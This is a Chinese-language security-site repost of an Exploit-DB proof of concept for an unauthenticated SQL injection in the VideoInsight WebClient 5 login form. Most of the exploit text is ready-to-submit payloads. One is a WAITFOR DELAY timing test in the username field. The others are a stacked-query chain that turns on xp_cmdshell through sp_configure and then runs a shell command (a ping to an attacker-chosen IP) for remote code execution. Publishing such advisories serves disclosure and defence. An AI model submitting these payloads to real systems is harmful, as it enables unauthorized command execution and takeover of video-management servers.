漏洞概要

漏洞标题:
VideoInsight WebClient 5 – SQL Injection

提交时间:
2018-06-20

危害等级:

相关厂商:

漏洞分类:
exp公布

关注度:
共 27 人关注

漏洞详情

EDB-ID: 44917 Author: vosec Published: 2018-06-20
CVE: N/A Type: Webapps Platform: Windows
Aliases:
N/A
Advisory/Source: N/A Tags:
SQL Injection (SQLi)

E-DB Verified:
<a href="javascript:void(0);" data-trigger="focus" data-toggle="popover" data-placement="top" data-content='We make an effort to verify exploits (verifty) in our labs, when possible. A “non verified” exploit (marked by a clock icon clock) simply means we did not have the opportunity to test the exploit internally.’>
Waiting verification

Exploit:

Download Exploit Code Download

/

View Raw

Vulnerable App:
N/A
# Title: VideoInsight WebClient 5 - SQL Injection
# Date: 2018-05-06
# Author: vosec
# Vendor Homepage: https://www.security.us.panasonic.com/
# Software Link: https://www.security.us.panasonic.com/video-management-software/web-client/
# Version: 5
# Tested on: Windows Server 2008 R2
# CVE: N/A

# Description: 
# This exploit is based on CVE-2017-5151 targeting versions prior.
# The txtUserName and possibly txtPassword field contain an unauthenticated SQL injection vulnerability
# that can be used for remote code execution.

# SQL Injection - PoC
# From the web login page submit the following string as the username with anything in the password field.  
# The web server will hang for 5 seconds:

UyYr');WAITFOR DELAY '00:00:05'--

# Remote Code Execution - PoC
# From the web login page submit each of the following strings as the username, one at a time, with anything
# in the password field (with the ping, use a valid IP address that you can monitor):
UyYr');EXEC sp_configure 'show advanced options', 1;RECONFIGURE;--
UyYr');EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
UyYr');EXEC xp_cmdshell 'ping xxx.xxx.xxx.xxx';--

发表评论

电子邮件地址不会被公开。 必填项已用*标注